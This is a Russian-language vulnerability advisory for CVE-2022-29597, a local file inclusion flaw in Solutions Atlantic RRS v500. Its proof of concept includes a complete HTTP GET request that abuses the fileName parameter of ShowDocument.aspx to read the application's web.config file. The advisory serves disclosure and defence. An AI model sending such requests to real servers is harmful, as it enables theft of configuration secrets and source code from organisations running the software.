CVE-2022-29597: Локальное включение файлов в RSS v500

Приложение RRS v500 компании Solutions Atlantic уязвимо к локальному включению файлов (LFI). Любой аутентифицированный пользователь может ссылаться на внутренние системные файлы в запросах к странице /RRSWeb/maint/ShowDocument/ShowDocument.aspx. Сервер успешно отвечает содержимым запрашиваемого внутреннего системного файла. Эта возможность может позволить злоумышленникам извлекать конфиденциальные данные и/или файлы из файловой системы, получать знания о внутреннем устройстве системы или получать доступ к исходному коду приложения.

URL Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597

URL NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-29597

Подтверждение концепции (POC):

Функциональность показа документа:

Затрагиваемый URL:

• /RRSWeb/maint/ShowDocument/ShowDocument.aspx

При открытии или загрузке PDF-файла с сайта RRS выполняется запрос к затронутому URL, который включает параметр fileName. Этот параметр может быть изменён для указания внутреннего системного пути, например web.config. Сервер затем отдаст запрошенный файл.

GET-запрос с внутренним путем к web.config:

GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive

Ответ сервера:

Обнаружение

Апрель 2022

• Eric Getchell - TheGetch